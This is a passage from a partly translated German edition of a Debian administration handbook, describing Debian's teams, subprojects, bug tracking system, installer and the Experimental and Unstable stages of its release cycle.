Diese effektive Arbeitsweise gewährleistet die Qualität der Mitwirkenden in den zentralen Debian-Teams. Diese Methode ist keineswegs perfekt und gelegentlich finden sich auch Leute, die diese Arbeitsweise nicht akzeptieren. Die Auswahl von Entwicklern für die Teams mag ein wenig willkürlich oder sogar unfair erscheinen. Außerdem hat nicht jeder dieselbe Auffassung von der Leistung, die von diesen Teams erwartet wird. Für einige ist es nicht akzeptabel, acht Tage auf das Einfügen eines neuen Debian-Pakets warten zu müssen, während andere problemlos drei Wochen lang geduldig warten. Daher gibt es regelmäßig Beschwerden der Unzufriedenen über die „Arbeitsqualität“ mancher Teams.

GEMEINSCHAFT Integration neuer Betreuer

Am häufigsten wird jenes Team kritisiert, das für die Zulassung neuer Entwickler zuständig ist. Zugegebenermaßen hat das Debian-Projekt im Laufe der Jahre an die Entwickler, die es akzeptiert, immer höhere Ansprüche gestellt. Dies mag einigen Leuten ungerecht erscheinen, aber wir müssen akzeptieren, dass bei der Sicherstellung der Qualität und Integrität von allem, was Debian für seine Anwender erbringt, anfangs kleine Herausforderungen in einer Gemeinschaft von mehr als tausend Leuten wesentlich größer geworden sind.

Zudem wird das Annahmeverfahren mit einer Überprüfung der Kandidatur durch ein kleines Team, die Debian Account Manager, abgeschlossen. Diese Manager sind deshalb Kritik besonders ausgesetzt, da sie das letzte Wort über die Aufnahme oder Ablehnung eines Freiwilligen in die Debian-Entwicklergemeinschaft haben. In der Praxis müssen sie manchmal die Annahme einer Person so lange verschieben, bis sie die Arbeitsweise des Projekts besser kennengelernt hat. Man kann natürlich auch zu Debian beitragen, bevor man als offizieller Entwickler angenommen ist, indem man von derzeitigen Entwicklern unterstützt wird.

1.3.2. Die aktive Rolle der Anwender

Is it relevant to mention the users among those who work within the Debian project? Yes: they play a critical role in the project. Far from being “passive”, some of our users run development versions of Debian and regularly file bug reports to indicate problems. Others go even further and submit improvements ideas, by filing a bug report with a severity level of “wishlist”, or even submit corrections to the source code, called “patches” (see sidebar ZURÜCK ZU DEN GRUNDLAGEN Patch, wie man eine Fehlerkorrektur einschickt).

HILFSPROGRAMM Fehlerdatenbank

Die Debian-Fehlerdatenbank (BTS = Bug Tracking System) umfasst das gesamte Projekt. Der öffentliche Teil der Webschnittstelle ermöglicht es Anwendern, sich alle eingesandten Fehler anzusehen und falls gewünscht, eine nach verschiedenen Kriterien sortierte Liste von Fehlern anzeigen zu lassen, wie zum Beispiel betroffenes Paket, Schwere des Fehlers, Status, Anschrift des Meldenden, Anschrift des zuständigen Betreuers, Kennzeichnung usw. Es ist auch möglich, die vollständige History aller bisherigen Diskussionen jedes einzelnen Fehlers durchzusehen.

Unter der Oberfläche kommuniziert das Debian BTS per E-Mail: Alle Informationen, die es speichert, stammen aus Meldungen, die von verschiedenen beteiligten Personen eingesandt worden sind. Jede an <12345@bugs.debian.org> geschickte E-Mail wird so der Verlaufsgeschichte des Fehlers Nr. 12345 zugeordnet. Bevollmächtigte Personen können einen Fehler „schließen“, indem sie eine Nachricht mit einer Begründung dieser Entscheidung an <12345-done@bugs.debian.org> schicken (ein Fehler wird geschlossen, wenn das angezeigte Problem gelöst oder nicht mehr von Bedeutung ist). Ein neuer Fehler wird gemeldet, indem man eine E-Mail in einem bestimmten Format, das das betroffene Paket bezeichnet, an <submit@bugs.debian.org> schickt. Die Adresse <control@bugs.debian.org> ermöglicht es, alle mit einem Fehler verbundenen „Meta-Informationen“ zu bearbeiten.

Das Debian BTS hat noch weitere funktionelle Merkmale, wie die Verwendung von Markierungen zur Kennzeichnung von Fehlern. Weitere Informationen finden Sie unter

→ http://www.debian.org/Bugs/

WÖRTERVERZEICHNIS Schwere eines Fehlers

Die Schwere eines Fehlers ordnet dem betreffenden Problem formell ein Bedeutungsmaß zu. Faktisch sind nicht alle Fehler gleich wichtig, zum Beispiel ist ein Schreibfehler in einer Handbuchseite nicht mit einer Sicherheitslücke in einer Serversoftware zu vergleichen.

Debian benutzt eine breite Skala zur genauen Kennzeichnung der Schwere eines Fehlers. Jeder Grad ist exakt definiert, um seine Auswahl zu erleichtern.

→ http://www.debian.org/Bugs/Developer#severities

Des Weiteren möchten viele zufriedene Anwender der von Debian angebotenen Leistungen selbst einen Beitrag zum Projekt leisten. Da nicht jeder ausreichend große Sachkenntnisse in der Programmierung hat, entschließen sie sich vielleicht, bei der Übersetzung und Überprüfung der Dokumentation zu helfen. Es gibt sprachspezifische Mailinglisten. Für Deutsch ist dies zum Beispiel: <debian-l10n-german@lists.debian.org>.

→ http://lists.debian.org/debian-user-german/

ZURÜCK ZU DEN GRUNDLAGEN Was sind i18n und l10n?

„i18n“ und „l10n“ sind die Abkürzungen für die Wörter „internationalization“ (Internationalisierung) und „localization“ (Lokalisierung), wobei jeweils der erste und letzte Buchstabe jedes Wortes angegeben sind sowie die Anzahl der Buchstaben in seiner Mitte.

Ein Programm zu „internationalisieren“ heißt, es so zu verändern, dass es übersetzt (lokalisiert) werden kann. Dies bedeutet, dass ein Programm, das ursprünglich geschrieben wurde, um in einer Sprache zu funktionieren, teilweise umgeschrieben werden muss, um es für alle Sprachen zu öffnen.

Ein Programm zu „lokalisieren“ heißt, die ursprünglichen Meldungen (häufig in Englisch) in eine andere Sprache zu übersetzen. Hierzu muss es bereits internationalisiert worden sein.

Kurz gesagt bereitet die Internationalisierung die Software für eine Übersetzung vor, die dann durch die Lokalisierung ausgeführt wird.

ZURÜCK ZU DEN GRUNDLAGEN Patch, wie man eine Fehlerkorrektur einschickt

Ein Patch ist eine Datei, die Änderungen beschreibt, die auf eine oder mehrere Referenzdateien angewendet werden sollen. Insbesondere enthält sie eine Liste von Codezeilen, die entfernt oder hinzugefügt werden sollen, wie auch (manchmal) Zeilen, die dem Referenztext entnommen sind, um so die Veränderungen im Kontext zu ersetzen (sie ermöglichen es, die Platzierung der Änderungen zu bestimmen, wenn sich die Zeilennummern geändert haben).

Das Hilfsprogramm, das verwendet wird, um die in einer derartigen Datei vorgenommenen Veränderungen anzuwenden, heißt einfach patch. Das Hilfsprogramm, das sie erstellt, heißt diff und wird wie folgt benutzt:

$ diff -u file.old file.new >file.patch

Die file.patch-Datei enthält die Anweisungen, um den Inhalt von file.alt in file.neu zu ändern. Wir können sie jemandem zuschicken, der sie dann dazu verwenden kann, file.neu folgendermaßen aus den anderen beiden neu zu erstellen:

$ patch -p0 file.alt <file.patch

Die Datei file.alt ist jetzt mit der Datei file.neu identisch.

HILFSPROGRAMM Einen Fehler mit reportbug melden

Das Hilfsprogramm reportbug erleichtert es, Fehlerberichte zu einem Debian-Paket einzusenden. Es kann überprüfen, ob der betreffende Fehler bereits eingereicht worden ist, und so Redundanz im System vermeiden. Es erinnert den Benutzer an die Definitionen der Schweregrade, um so eine möglichst genaue Meldung abzugeben (der Entwickler kann, falls nötig, diese Parameter später immer noch fein einstellen). Es hilft, einen vollständigen Fehlerbericht zu schreiben, ohne dass der Benutzer die genaue Syntax kennen muss, indem es ihn schreibt und der Benutzer ihn überarbeiten kann. Dieser Bericht wird dann über einen E-Mail-Server verschickt (standardmäßig lokal, aber reportbug kann auch einen entfernten Server verwenden).

Dieses Hilfsprogramm zielt vor allem auf die Entwicklungsversionen ab und kümmert sich nur um die Beseitigung von Fehlern. Eine stabile Debian-Version ist dagegen praktisch in Stein gehauen, bis auf Sicherheitsaktualisierungen oder andere wichtige Updates (falls zum Beispiel ein Paket überhaupt nicht funktioniert). Die Korrektur eines kleineren Fehlers in einem Debian-Paket muss daher bis zur nächsten stabilen Version warten.

Alle diese Vorgänge werden durch das Verhalten der Anwender verstärkt. Sie sind keineswegs isoliert, sondern Teil einer wahren Gemeinschaft, in der zahlreiche Austauschprozesse stattfinden. Wir möchten vor allem auf die beeindruckende Aktivität in der Mailingliste für Anwenderdiskussionen hinweisen: <debian-user@lists.debian.org> (Chapter 7, Probleme lösen und relevante Informationen finden beschreibt dies ausführlicher).

Die Anwender helfen sich nicht nur gegenseitig bei technischen Problemen, die sie direkt betreffen, sondern diskutieren auch darüber, wie sie am besten zum Debian-Projekt beitragen und ihm helfen können voranzukommen - Diskussionen, die häufig zu Verbesserungsvorschlägen führen.

Da Debian keine Gelder für Eigenwerbungskampagnen ausgibt, spielen seine Benutzer bei seiner Verbreitung eine wichtige Rolle, indem sie es durch Mundpropaganda bekannt machen.

Diese Methode funktioniert recht gut, da Debian-Anhänger auf allen Ebenen der Gemeinschaft der freien Software zu finden sind: von Installationspartys (Treffen, bei denen erfahrene Anwender Neulingen helfen, das System zu installieren), die von örtlichen LUG (Linux User Groups) organisiert werden, bis zu Vereinsständen auf großen Technikkongressen zum Thema Linux usw.

Freiwillige erstellen Plakate, Broschüren und andere nützliche Werbematerialien für das Projekt, die sie jedem zur Verfügung stellen und die Debian auf seiner Website frei anbietet:

→ http://www.debian.org/events/material

1.3.3. Teams und Unterprojekte

Debian ist direkt um das Konzept der Quellpakete organisiert, jedes mit seinem Betreuer oder seiner Gruppe von Betreuern. Zahlreiche Arbeitsteams haben sich im Laufe der Zeit gebildet, die die Verwaltung der Infrastruktur und das Management von Aufgaben, die keinem bestimmten Paket zugeordnet werden können (Qualitätssicherung, Debian-Richtlinien, Installationsprogramm usw.) sicherstellen, wobei die jüngsten Teams rings um Unterprojekte heranwachsen.

1.3.3.1. Bestehende Debian-Unterprojekte

Jedem sein eigenes Debian! Ein Unterprojekt ist eine Gruppe von Freiwilligen, die daran interessiert ist, Debian an spezielle Anforderungen anzupassen. Außer der Auswahl einer Untergruppe von Programmen, die für einen bestimmten Bereich (Bildung, Medizin, Multimediaerstellung usw.) gedacht sind, betrifft dies auch die Verbesserung vorhandener Pakete, das Paketieren fehlender Software, die Anpassung des Installationsprogramms, das Erstellen bestimmter Dokumentation und Weiteres.

WÖRTERVERZEICHNIS Unterprojekt und abgeleitete Distribution

Der Entwicklungsprozess einer abgeleiteten Distribution besteht darin, mit einer bestimmten Version von Debian zu beginnen und daran eine Anzahl von Veränderungen vorzunehmen. Die hierbei verwendete Infrastruktur befindet sich vollständig außerhalb des Debian-Projekts. Es gibt nicht notwendigerweise Richtlinien zum Beitragen von Verbesserungen. Dieser Unterschied erklärt, wie sich eine abgeleitete Distribution von ihren Ursprüngen entfernen kann und warum sie sich regelmäßig mit ihrer Quelle neu synchronisieren muss, um aus Verbesserungen des Hauptzweigs Nutzen zu ziehen.

Im Gegensatz hierzu kann sich ein Unterprojekt nicht wegentwickeln, da alle daran vorgenommenen Arbeiten darin bestehen, Debian unmittelbar zu verbessern, um es so einem speziellen Ziel anzupassen.

Die bekannteste von Debian abgeleitete Distribution ist zweifellos Ubuntu, aber es gibt viele andere. Siehe Appendix A, Derivate (Abgeleitete Distributionen), um mehr über die Besonderheiten der Derivate und ihre Positionierung im Verhältnis zu Debian zu erfahren.

Hier ist eine kleine Auswahl aktueller Unterprojekte:

Debian-Junior, von Ben Armstrong, bietet ein ansprechendes und leicht zu bedienendes Debian-System für Kinder;

Debian-Edu, von Petter Reinholdtsen, auf die Erstellung einer speziellen Distribution für den akademischen Bereich ausgerichtet;

Debian Med, von Andreas Tille, dem medizinischen Bereich gewidmet;

Debian-Multimedia, von den Schöpfern der Agnula-Distribution, befasst sich mit der Erstellung von Multimedia-Inhalten;

Debian Desktop, von Colin Walters, auf die Arbeitsfläche ausgerichtet;

Debian-Ham, erstellt von Bruce Perens, hat Amateurfunk-Interessierte als Zielgruppe;

Debian-NP (Non-Profit) ist für gemeinnützige Organisationen;

Debian-Lex, ist schließlich für die Arbeit im juristischen Umfeld gedacht.

Diese Liste wird mit der Zeit und einer besseren Wahrnehmung der Vorteile von Debian-Unterprojekten wahrscheinlich wachsen. Sie können sich mit voller Unterstützung durch die vorhandene Debian-Infrastruktur tatsächlich auf Aktivitäten mit wirklichem Mehrwert konzentrieren, ohne sich sorgen zu müssen, ob sie mit Debian synchron bleiben, da sie innerhalb des Projekts entwickelt werden.

AUSBLICK Debian in der akademischen Welt

Debian-Edu war ursprünglich ein französisches Projekt, das von Stéphane Casset und Raphaël Hertzog beim Unternehmen Logidée im Auftrag einer staatlichen Behörde für pädagogische Dokumentation geschaffen wurde. Raphaël integrierte es dann mit Debian in Form eines Unterprojekts. Aus Zeitmangel wurde es nicht weiterentwickelt - wie so oft bei Freie-Software-Projekten, denen es an Mitwirkenden fehlt.

Zugleich arbeitete ein norwegisches Team an einer ähnlichen Distribution, die ebenfalls auf dem debian-installer aufbaute. Da SkoleLinux deutlich schneller vorankam, schlug Raphaël vor, es zu einem Mitglied der Debian-Familie zu machen und das Debian-Edu-Unterprojekt zu übernehmen.

AUSBLICK Debian im Multimedia-Bereich

Agnula war vormals ein europäisches Projekt unter der Leitung eines italienischen Teams. Es zog unter dem Namen „DeMuDi“ die Entwicklung einer für Multimedia-Anwendungen angepassten Debian-Version nach sich. Einige Projektmitarbeiter, vor allem Marco Trevisani, wollten sie durch Integration in das Debian-Projekt aufrechterhalten. Das Debian-Multimedia-Unterprojekt hatte damit das Licht der Welt erblickt.

→ http://wiki.debian.org/DebianMultimedia

Dieses Projekt hatte jedoch Schwierigkeiten, sich eine Identität aufzubauen und zu starten. Free Ekanayaka arbeitete innerhalb von Debian daran, bot jedoch die Ergebnisse in Form einer abgeleiteten Distribution an, die heute 64Studio heißt. Diese Distribution ist einem neuen Unternehmen angegliedert, das technische Unterstützung anbietet.

→ http://www.64studio.com/

1.3.3.2. Administrative Teams

Die meisten administrativen Teams sind relativ verschlossen und ergänzen sich nur durch Kooptation. Die beste Möglichkeit bei einem Team Mitglied zu werden, besteht darin, die aktuellen Mitglieder intelligent zu unterstützen und so zu zeigen, dass man ihre Ziele und Arbeitsmethoden verstanden hat.

The ftpmasters are in charge of the official archive of Debian packages. They maintain the program that receives packages sent by developers and automatically stores them, after some checks, on the reference server (ftp-master.debian.org).

Sie müssen auch die Lizenzen aller neuen Pakete überprüfen, bevor sie sie in den Korpus bestehender Pakete aufnehmen, um sicherzustellen, dass Debian sie verbreiten darf. Wenn ein Entwickler ein Paket entfernen möchte, richtet er sich an dieses Team über das Fehlerberichtssystem und das „Pseudo-Paket“ ftp.debian.org.

WÖRTERVERZEICHNIS Das Pseudo-Paket, ein Überwachungsmittel

Das Fehlerberichtssystem, das ursprünglich dazu gedacht war, Fehlerberichte einem Debian-Paket zuzuordnen, hat sich auch für andere Aufgaben als sehr geeignet erwiesen: das Auflisten zu lösender Probleme und zu erledigender Aufgaben ohne Verbindung zu einem bestimmten Debian-Paket. So ermöglichen „Pseudo-Pakete“ es bestimmten Teams, das Fehlerberichtssystem zu benutzen, ohne sich mit einem wirklichen Paket in Zusammenhang zu bringen. Jeder kann auf diese Weise Angelegenheiten melden, die erledigt werden müssen. Das Fehlerberichtssystem hat einen Eintrag ftp.debian.org, um Probleme mit dem offiziellen Paketarchiv zu melden oder einfach die Entfernung eines Pakets zu erbitten. In ähnlicher Weise weist das Pseudo-Paket www.debian.org auf Fehler auf der Debian-Website hin, und erfasst lists.debian.org alle Probleme, die Mailinglisten betreffen.

HILFSPROGRAMM FusionForge, das Schweizer Taschenmesser für gemeinschaftliche Entwicklung

FusionForge ist ein Programm, mit dem man Seiten wie www.sourceforge.net, alioth.debian.org oder savannah.gnu.org erstellen kann. Es beherbergt Projekte und stellt eine Reihe von Diensten zur Verfügung, die gemeinschaftliche Entwicklung erleichtern. Jedes Projekt hat dort einen fest zugeordneten virtuellen Bereich einschließlich Website, Fehlerberichtssystem, Patch-Überwachungssystem, Erhebungsprogramm, Dateiablage, Forum, Versionskontrollsystem Paketdepots, Mailinglisten und verschiedenen anderer dazugehöriger Dienste.

alioth.debian.org ist Debians FusionForge-Server, verwaltet von Roland Mas, Tollef Fog Heen, Stephen Gran und Christian Bayle. Jedes Projekt, bei dem ein oder mehrere Debian-Entwickler beteiligt sind, kann dort aufgenommen werden.

→ http://alioth.debian.org/

Obwohl FusionForge wegen des weiten Bereichs an Diensten, die es anbietet, sehr komplex ist, ist es dank der hervorragenden Arbeit von Roland Mas und Christian Bayle am Debian-Paket fusionforge recht einfach zu installieren.

Das debian-admin-Team (<debian-admin@lists.debian.org>) ist, wie zu erwarten, für die Systemadministration der vielen vom Projekt verwendeten Server verantwortlich. Es stellt den reibungslosen Betrieb aller Basisdienste sicher (DNS, Web, E-Mail, Konsole usw.), installiert von Debian-Entwicklern gewünschte Software und trifft alle sicherheitsrelevanten Vorsichtsmaßnahmen.

HILFSPROGRAMM Paketüberwachungssystem

Dies ist eine von Raphaëls Erfindungen. Der Leitgedanke besteht darin, für ein bestimmtes Paket möglichst viel Information auf einer einzelnen Seite zu vereinigen. Auf diese Weise kann man schnell den Status eines Programms überprüfen, ausstehende Aufgaben erkennen und seine Hilfe anbieten. Daher sammelt diese Seite alle Fehlerstatistiken, die in jeder Distribution verfügbaren Versionen, Fortschritte eines Pakets in der Testing-Distribution, den Übersetzungsstatus der Beschreibungen und debconf-Vorlagen, die mögliche Verfügbarkeit einer neuen Ursprungsversion, Mitteilungen über die Nichteinhaltung der jüngsten Version der Debian-Richtlinien, Informationen über den Betreuer und alle übrigen Infos, die dieser Betreuer beifügen möchte.

→ http://packages.qa.debian.org/

Eine E-Mail-Abonnement-Funktion vervollständigt diese Webschnittstelle. Sie sendet automatisch folgende ausgewählte Informationen an die Liste: Fehler und dazugehörige Diskussionen, Verfügbarkeit einer neuen Version auf den Debian-Servern, fertiggestellte Übersetzungen (zur Nachprüfung) usw.

Fortgeschrittene Nutzer können so alle diese Informationen genau verfolgen und sogar zum Projekt beitragen, sobald sie ausreichend gut verstehen, wie es funktioniert.

Eine weitere Webschnittstelle, Debian Developer's Packages Overview (DDPO) genannt, stellt jedem Entwickler eine Statusübersicht aller Debian-Pakete zur Verfügung, die unter seiner Federführung stehen.

→ http://qa.debian.org/developer.php

Diese beiden Websites enthalten die Hilfsprogramme für Debian QA (Quality Assurance), der bei Debian für die Qualitätssicherung zuständigen Gruppe.

Die Listmaster verwalten die E-Mail-Server mit den Mailinglisten. Sie erstellen neue Listen, bearbeiten Abweisungen (Mitteilungen über gescheiterte Zustellungen) und betreuen die Spam-Filter (unerwünschte Massen-E-Mails).

KULTUR Datenverkehr auf den Mailinglisten: einige Zahlen

Die Mailinglisten sind zweifellos der beste Beweis für die Aktivität eines Projekts, da sie alle Ereignisse aufzeichnen. Einige Statistiken (von 2007) über unsere Mailinglisten sprechen für sich: Debian beherbergt mehr als 180 Listen mit insgesamt 175.000 Abonnenten. Die 45.000 Mitteilungen, die jeden Monat verschickt werden, führen zu einer Million E-Mails pro Tag.

Jeder einzelne Dienst hat sein eigenes Team von Systemadministratoren, in der Regel aus Freiwilligen bestehend, die ihn eingerichtet haben (und häufig auch die entsprechenden Hilfsprogramme selbst programmiert haben). Dies gilt für das Fehlerverfolgungssystem (BTS), das Paketverfolgungssystem (PTS), alioth.debian.org (FusionForge-Server, siehe Seitenleiste), die Dienste auf qa.debian.org, lintian.debian.org, buildd.debian.org, cdimage.debian.org usw.

1.3.3.3. Entwicklungsteams, Querschnittsteams

Im Gegensatz zu den Verwaltungsteams sind die Entwicklungsteams, selbst gegenüber externen Mitwirkenden, recht offen. Auch wenn Debian sich nicht dazu berufen fühlt, Software zu erstellen, so benötigt das Projekt doch einige spezielle Programme, um seine Ziele zu erreichen. Natürlich wenden diese unter einer freien Softwarelizenz entwickelten Hilfsprogramme Methoden an, die sich andernorts in der Welt der freien Software bewährt haben.

KULTUR CVS

CVS (Concurrent Versions System) ist ein Hilfsprogramm für gemeinschaftliches Arbeiten an mehreren Dateien mit einer Veränderungschronik. Die betreffenden Dateien sind im allgemeinen Textdateien wie zum Beispiel der Quellcode eines Programms. Wenn mehrere Leute gemeinsam an derselben Datei arbeiten, kann cvs die Veränderungen nur zusammenführen, wenn sie an unterschiedlichen Teilen der Datei vorgenommen wurden. Anderenfalls müssen diese „Konflikte“ von Hand gelöst werden. Das System verwaltet Veränderungen Zeile für Zeile, indem es diff-Patches von einer Version zur nächsten aufbewahrt.

CVS verwendet ein zentrales Archiv (ein sogenanntes CVS-Repository), um Dateien und ihren Veränderungsverlauf zu speichern (jede Überarbeitung wird in Form einer diff-Patchdatei gespeichert, die auf die vorhergehende Version angewendet werden kann). Man entnimmt eine bestimmte Version (Arbeitskopie), um daran zu arbeiten. Das Programm ermöglicht es, sich die Änderungen an der Arbeitskopie anzusehen (cvs diff), sie im zentralen Archiv zu speichern, indem man im Veränderungsverlauf einen neuen Eintrag erstellt ( cvs commit ), die Arbeitskopie zu aktualisieren, um Änderungen, die parallel zu anderen Anwendern vorgenommen wurden, einzupflegen (cvs update ) und eine bestimmte Konfiguration des Verlaufs festzuhalten, um sie später wieder leicht entnehmen zu können (cvs tag).

CVS-Experten wissen, wie man gleichzeitig mit mehreren Versionen eines in der Entwicklung befindlichen Projekts umgeht, ohne dass sie sich gegenseitig stören. Diese Versionen werden branches(Zweige) genannt. Diese Metapher eines Baumes ist recht treffend, da ein Programm anfänglich in einem gemeinsamen Stamm entwickelt wird. Wenn eine bestimmte Wegmarke erreicht ist (wie zum Beispiel Version 1.0), setzt sich die Entwicklung in zwei Ästen fort: Der Entwicklungszweig erarbeitet die nächste größere Veröffentlichung, und der Wartungszweig handhabt Aktualisierungen und Fehlerkorrekturen für die Version 1.0.

cvs hat jedoch einige Einschränkungen. Es kann nicht mit symbolischen Links, Änderungen von Datei- oder Verzeichnisnamen, dem Löschen von Verzeichnissen usw. umgehen. Dies hat zu moderneren und freien Alternativen geführt, die die meisten dieser Lücken schließen. Hierzu gehören insbesondere subversion (svn), git, bazaar (bzr) und mercurial (hg).

→ http://subversion.tigris.org/

→ http://git-scm.com/

→ http://bazaar-vcs.org/

→ http://mercurial.selenic.com/

Debian hat wenig eigene Software entwickelt, aber bestimmte Programme spielen heute eine zentrale Rolle, und ihr Name hat sich über den Bereich des Projekts hinaus verbreitet. Gute Beispiele sind dpkg, das Debian-Paketverwaltungsprogramm (es ist eine Abkürzung für Debian PacKaGe), und apt, ein Hilfsprogramm zur automatischen Installation von Debian-Paketen, und seine Abhängigkeiten, die den Zusammenhalt des Systems nach einer Aktualisierung sicherstellen (sein Name ist eine Abkürzung für Advanced Package Tool). Ihre Teams sind jedoch viel kleiner, da ein recht hohes Maß an Programmierfähigkeiten für das allgemeine Verständnis von Vorgängen bei dieser Art von Programmen erforderlich ist.

Das wichtigste Team ist wohl jenes für das Debian-Installationsprogramm debian-installer, das seit seinem Beginn im Jahr 2001 ein Werk bedeutenden Ausmaßes fertiggestellt hat. Zahlreiche Mitwirkende waren erforderlich, da es schwierig ist, ein einzelnes Programm zu schreiben, das in der Lage ist, Debian auf einem Dutzend verschiedener Architekturen zu installieren. Jedes hat seine eigenen Startabläufe und seinen eigenen Boot-Loader. All diese Arbeit wird in der Mailingliste <debian-boot@lists.debian.org> unter der Leitung von Otavio Salvador und Joey Hess koordiniert.

→ http://www.debian.org/devel/debian-installer/

→ http://kitenet.net/~joey/blog/entry/d-i_retrospective/

Das Team des Programms debian-cd ist sehr klein und hat ein noch bescheideneres Ziel. Viele „kleine“ Mitwirkende sind für ihre Architektur verantwortlich, da der Hauptentwickler weder alle Feinheiten noch den genauen Weg zum Starten des Installationsprogramms von der CD-ROM kennen kann.

Viele Teams müssen mit anderen beim Paketieren zusammenarbeiten: <debian-qa@lists.debian.org> versucht zum Beispiel, die Qualität auf allen Ebenen des Debian-Projekts sicherzustellen. Die Liste <debian-policy@lists.debian.org> entwickelt Debian-Richtlinien aufgrund von Vorschlägen, die aus allen Richtungen eintreffen. Die Teams, die für jeweils eine Architektur zuständig sind (<debian-architektur@lists.debian.org>), kompilieren alle Pakete und passen sie dabei nach Bedarf an ihre jeweilige Architektur an.

Andere Teams betreuen die wichtigsten Pakete, um ihre Instandhaltung sicherzustellen, ohne eine allzu schwere Last auf die Schultern eines Einzelnen zu legen; dies ist bei der C-Bibliothek und <debian-glibc@lists.debian.org> der Fall, beim C-Compiler auf der Liste <debian-gcc@lists.debian.org> und bei Xorg auf <debian-x@lists.debian.org> (diese Gruppe ist auch als die X Strike Force bekannt und wird von Cyril Brulebois koordiniert).

1.4. Die Rolle der Distributionen

Eine GNU/Linux-Distribution hat zwei Hauptziele: ein freies Betriebssystem auf einem Rechner zu installieren (entweder allein oder neben einem oder mehreren bestehenden Betriebssystemen) und eine Auswahl an Software zur Verfügung zu stellen, die alle Bedürfnisse der Anwender befriedigt.

1.4.1. Das Installationsprogramm: debian-installer

Das Programm debian-installer, das äußerst modular angelegt ist, um möglichst universell zu sein, erfüllt das erste Ziel. Es deckt eine große Bandbreite an Installationssituationen ab und macht im Allgemeinen die Erstellung eines abgeleiteten Installationsprogramms, das zu einem Sonderfall passt, sehr einfach.

Diese Modularität, die es auch sehr komplex macht, kann Entwickler, die dieses Tool entdecken, irritieren. Sowohl im grafischen Modus als auch im Textmodus ist das Anwendererlebnis ähnlich. Es wurden große Anstrengungen unternommen, die Anzahl der auszufüllenden Felder zu verringern; hieraus erklärt sich auch die Aufnahme eines Programms zur automatischen Hardwareerkennung.

Interessanterweise unterscheiden sich von Debian abgeleitete Distributionen in dieser Hinsicht sehr und bieten ein eingeschränkteres (häufig auf die i386-Architektur begrenztes), jedoch für Unerfahrene leichter zu bedienendes Installationsprogramm an. Andererseits verzichten sie darauf, zu weit vom Paketinhalt abzuweichen, um möglichst viel von der großen Auswahl angebotener Software zu profitieren, ohne Kompatibilitätsprobleme zu verursachen.

1.4.2. Die Software-Bibliothek

Quantitativ gesehen ist Debian mit mehr als 14.500 Quellcode-Paketen in dieser Hinsicht unbestritten führend. Aus qualitativer Sicht rechtfertigen Debians Richtlinien und die lange Testperiode vor der Veröffentlichung einer neuen stabilen Version seinen Ruf für Zusammenhalt und Stabilität. Was die Verfügbarkeit angeht, so ist alles über zahlreiche Spiegelserver, die alle sechs Stunden aktualisiert werden, erhältlich.

Viele Händler verkaufen CD-ROM über das Internet zu einem sehr niedrigen Preis (oft zu Selbstkosten), die „Images“ stehen frei zum Herunterladen zur Verfügung. Es gibt nur eine Schattenseite: die geringe Häufigkeit, mit der neue stabile Versionen veröffentlicht werden (ihre Entwicklung dauert manchmal mehr als zwei Jahre). Hierdurch verzögert sich die Aufnahme neuer Software.

Die meisten neuen freien Programme finden schnell ihren Weg in die Entwicklungsversion, sodass sie installiert werden können. Falls dies aufgrund ihrer Abhängigkeiten zu viele Aktualisierungen erfordert, kann ein Programm auch für die stabile Debian-Version rekompiliert werden (siehe Chapter 15, Ein Debian-Paket erstellen für mehr Informationen zu diesem Thema).

1.5. Lebenszyklus einer Veröffentlichung

Das Projekt verfügt gleichzeitig über drei oder vier verschiedene Versionen jeden Programms, die als Experimental, Unstable, Testing und Stable bezeichnet werden. Jede entspricht einer anderen Entwicklungsphase. Um dies richtig zu verstehen, lassen Sie uns einen Blick auf den Weg eines Programms von seiner ersten Paketierung bis zur Aufnahme in die stabile Debian-Version werfen.

WÖRTERVERZEICHNIS Veröffentlichung

Der Begriff „release“ (Veröffentlichung) bezeichnet im Debian-Projekt eine bestimmte Version einer Distribution (so bedeutet zum Beispiel „unstable release“ die Version „Unstable“). Er bezeichnet auch die öffentliche Ankündigung der Vorstellung einer neuen Version (Stable).

1.5.1. Der Status Experimental

Lassen Sie uns zunächst einen Blick auf den besonderen Fall der Distribution Experimental werfen: Dies ist eine Gruppe von Debian-Paketen, die der aktuell noch in Entwicklung befindlichen und nicht unbedingt fertiggestellten Programme entspricht, was ihren Namen erklärt. Nicht alles durchläuft diese Phase; manche Entwickler stellen hier Pakete ein, um Rückmeldungen von erfahreneren (oder mutigeren) Anwendern zu erhalten.

Andererseits enthält diese Distribution häufig wichtige Änderungen grundlegender Pakete, deren Aufnahme in Unstable mit schwerwiegenden Fehlern gefährliche Auswirkungen haben würde. Sie ist daher eine vollständig abgesonderte Distribution. Ihre Pakete werden niemals in eine andere Version übertragen (es sei denn durch direktes ausdrückliches Eingreifen des Betreuers oder der FTP Master).

1.5.2. Der Status Unstable

Lassen Sie uns zum Fall eines typischen Pakets zurückkehren. Der Betreuer erstellt ein erstes Paket, das er für die Version Unstable kompiliert und auf den Server ftp-master.debian.org legt. Dieser erste Schritt schließt eine Überprüfung und Bewertung durch die FTP Master ein. Die Software ist dann in der Distribution Unstable verfügbar, die risikobehaftet ist, aber von Anwendern gewählt wird, denen es wichtiger ist, mit aktuelleren Paketen auf dem neuesten Stand zu sein, als sich um schwerwiegende Fehler zu sorgen. Sie entdecken das Programm und probieren es dann aus.

Falls sie Fehler entdecken, melden sie sie dem Paketbetreuer. Der Betreuer erstellt dann regelmäßig korrigierte Versionen, die er auf den Server hochlädt.

Jedes aktualisierte Paket wird in weniger als sechs Stunden weltweit auf allen Debian-Spiegelservern auf den neuesten Stand gebracht. Die Anwender prüfen dann die Korrekturen und suchen nach anderen Problemen, die sich aus den Veränderungen ergeben. Mehrere Aktualisierungen können in schneller Folge stattfinden. Zu diesen Zeiten werden Selbstbau-Roboter eingesetzt. Der Betreuer hat in der Regel nur einen herkömmlichen Rechner und hat sein Paket auf einer i386- oder amd64-Architektur kompiliert; die Selbstbau-Roboter übernehmen es dann und kompilieren selbstständig Versionen für alle übrigen Architekturen. Möglicherweise scheitern einige Kompilierungen; der Betreuer erhält dann einen Fehlerbericht, der ihm das Problem anzeigt, das dann in der nächsten Version korrigiert wird. Wenn der Fehler von einem Spezialisten für die betreffende Architektur entdeckt wird, enthält der Fehlerbericht möglicherweise bereits eine gebrauchsfertige Nachbesserung.

Figure 1.2. Kompilierung eines Paketes durch die Selbstbau-Roboter

KURZER BLICK buildd, der Debian-Paket-Rekompilierer

